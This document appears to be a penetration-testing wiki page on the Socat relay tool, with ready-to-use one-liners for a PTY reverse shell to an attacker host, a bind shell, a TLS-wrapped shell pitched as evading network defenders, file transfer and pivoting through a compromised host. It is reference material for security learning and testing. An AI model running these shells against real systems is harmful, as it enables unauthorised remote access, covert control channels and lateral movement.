Socat
Table of Contents
Socat is a relay for bidirectional data streams. It can connect two addresses ("sockets") together and transfer data between them. Unlike the simpler Netcat, Socat supports a massive variety of address types and protocols, giving it vastly superior functionality — particularly for fully interactive shells.
Related: Netcat Reverse Shell Lateral movement Port Forwarding Secure Sockets Layer
Core Functionality
Socat works by taking two addresses, defined by their address type
and identifier, and connecting them. The format is always
socat <address1> <address2>.
| Address Type | Description | Common Uses |
|---|---|---|
| TCP | Standard Transmission Control Protocol sockets (server and client). | Creating reverse and bind shells. |
| UDP | User Datagram Protocol sockets. | Testing unreliable connections. |
| EXEC | Executes an external program and connects its standard I/O (stdin/stdout) to the socket. | The key feature for creating stable shells. |
| STDIO | Standard input and standard output. | Connecting a terminal session to a network stream. |
| PTY | Creates a pseudo-terminal, allowing for fully interactive sessions. | Upgrading unstable shells to fully interactive (TTY) shells. |
Running Socat
Fully Interactive Reverse Shell (PTY)
The main reason to reach for Socat over Netcat — a genuinely usable
shell with tab completion, Ctrl+C, and job control, rather than a
dumb pipe.
# Listener (attacker machine) socat file:`tty`,raw,echo=0 tcp-listen:4444 # Target — spawns a PTY-backed shell back to the listener socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<attacker-ip>:4444
Bind Shell
# Target — listens and waits for the attacker to connect socat tcp-listen:4444,reuseaddr,fork exec:'bash -li',pty,stderr,setsid,sigint,sane # Attacker connects to it socat file:`tty`,raw,echo=0 tcp:<target-ip>:4444
File Transfer
# Receiver socat tcp-listen:4444,reuseaddr file:received_file,create # Sender socat file:file_to_send tcp:<receiver-ip>:4444
Encrypted Shell (SSL/TLS)
Wraps the connection in TLS — much harder for network defenders to inspect via plaintext signature matching than a standard reverse shell.
# Generate a self-signed cert first openssl req -newkey rsa:2048 -nodes -keyout server.pem -x509 -days 365 -out server.pem # Listener with SSL socat openssl-listen:4444,cert=server.pem,verify=0 exec:'bash -li',pty,stderr,setsid,sigint,sane # Target connects over SSL socat openssl:<attacker-ip>:4444,verify=0 exec:'bash -li',pty,stderr,setsid,sigint,sane
Port Forwarding / Relay
Standing socat up as a lightweight pivot between two networks — directly relevant when a compromised host has access to a segment you don't.
# Relay all traffic from local port 8080 to a target only reachable # from the compromised host socat tcp-listen:8080,reuseaddr,fork tcp:<internal-target-ip>:80
Advantages in Cybersecurity
- Stable Shells: Socat's ability to create a Pseudo-Terminal
(PTY) session makes it superior to Netcat for creating reverse
shells, as it results in a fully interactive shell capable of
handling terminal commands (like
Ctrl+Cand tab completion). - Encryption: Socat can wrap connections in SSL/TLS encryption
(using the
openssladdress type), creating encrypted command-and-control (C2) channels that are much harder for network defenders to inspect. - Pivoting/Relaying: It can act as a lightweight network pivot or relay, forwarding traffic between internal and external networks, a critical technique in the Lateral movement stage of an attack.
Tips
- Socat's syntax is notoriously fiddly to remember exactly — keep the PTY reverse shell one-liner above bookmarked rather than trying to recall it from scratch under time pressure
- If a target doesn't have
socatinstalled (common on minimal containers/embedded systems), Netcat is the fallback, but you lose the fully-interactive PTY — worth checking forsocaton the target early (which socat) rather than discovering its absence mid-exploitation - The
verify=0flag in the SSL examples disables certificate verification — necessary for a self-signed cert, but don't forget it's there if something about the encrypted channel isn't connecting setsidin the PTY commands detaches the shell from the controlling terminal, which matters for session stability — dropping it from the command is a common cause of a shell that dies unexpectedly